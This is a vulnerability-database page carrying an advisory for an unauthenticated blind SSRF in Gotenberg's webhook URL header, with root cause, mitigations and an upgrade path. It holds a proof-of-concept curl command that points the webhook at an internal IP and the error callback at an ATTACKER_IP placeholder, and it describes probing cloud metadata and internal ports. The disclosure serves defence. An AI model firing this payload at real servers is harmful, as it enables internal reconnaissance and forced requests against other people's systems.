Loading...
Skip to main content

CVE-2026-39383 — Vulnerability in...

MEDIUM

Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL

Published April 30, 2026Updated June 25, 2026Source: osv

Summary

# CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg ## Severity | Field | Value | |-----------|----------------------------------------| | CVSS v3.1 | **8.6 High** | | Vector | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` | | CWE | CWE-918 — Server-Side Request Forgery | | Auth | None | **Affected:** Gotenberg 8.29.1 — default `gotenberg/gotenberg:8` Docker image. --- ## Impact An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the `Gotenberg-Webhook-Url` request header. **This is a blind SSRF.** Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The `Gotenberg-Webhook-Error-Url` header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body. The practical impact is therefore: - **Internal network probing:** if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time. - **Forced POST to internal services:** any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response. - **Cloud metadata interaction:** Gotenberg can be forced to POST to `http://169.254.169.254/` — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone. The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target. --- ## Proof of Concept ```bash # Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target. curl -s -o /dev/null -w "HTTP:%{http_code}" \ -X POST 'http://TARGET:3000/forms/chromium/convert/url' \ -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \ -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \ -F 'url=https://example.com' ``` --- ## Root Cause `FilterDeadline` in `filter.go` is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns `nil` unconditionally, allowing any URL through. ```go func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error { if len(allowed) > 0 { ... } // skipped — empty by default if len(denied) > 0 { ... } // skipped — empty by default return nil // any URL passes } ``` The unvalidated URL is then stored verbatim and used as the destination for an outbound `retryablehttp` request in `client.go:62`. --- ## Recommendations **Gotenberg maintainers:** Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges. **Operators (immediate):** ```bash # Restrict to your own receiver --env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*" # Or block internal ranges --env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)" ``` --- ## Attribution This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in `FilterDeadline` where an unconfigured state means "allow all" rather than "deny all". --- ## Timeline | Date | Event | |------------|-------| | 2026-04-04 | Vulnerability discovered | | 2026-04-05 | SSRF confirmed — outbound POST captured at local listener | | 2026-04-05 | Report drafted for disclosure |

Advisory Timeline

  • First published April 30, 2026 (165 days ago).
  • Last revised June 25, 2026 — 56 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later
go get github.com/gotenberg/gotenberg/v8@v8.31.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/gotenberg/gotenberg/v8
go
All versions8.31.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Frequently Asked Questions

What is CVE-2026-39383?
Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 8.6/10).
How do I check if my project is affected by CVE-2026-39383?
CVE-2026-39383 affects github.com/gotenberg/gotenberg/v8. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-39383 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.6

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-5vh4-rgv7-p9g4
GO-2026-5155

Related CVEs

  • CVE-2026-42596
    CRITICAL

    Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook

  • CVE-2026-40281
    CRITICAL

    Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix)

  • CVE-2026-42589
    CRITICAL

    Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection

  • CVE-2026-40280
    HIGH

    Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection

  • CVE-2026-42595
    HIGH

    Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass

  • CVE-2026-44829
    HIGH

    Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

  • CVE-2026-27018
    HIGH

    Gotenberg has Chromium deny-list bypass via case-insensitive URL scheme (bypass of GHSA-rh2x-ccvw-q7r3)

  • CVE-2026-88011
    MEDIUM

    Traefik: ForwardAuth identity spoofing via dot-form header alias

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies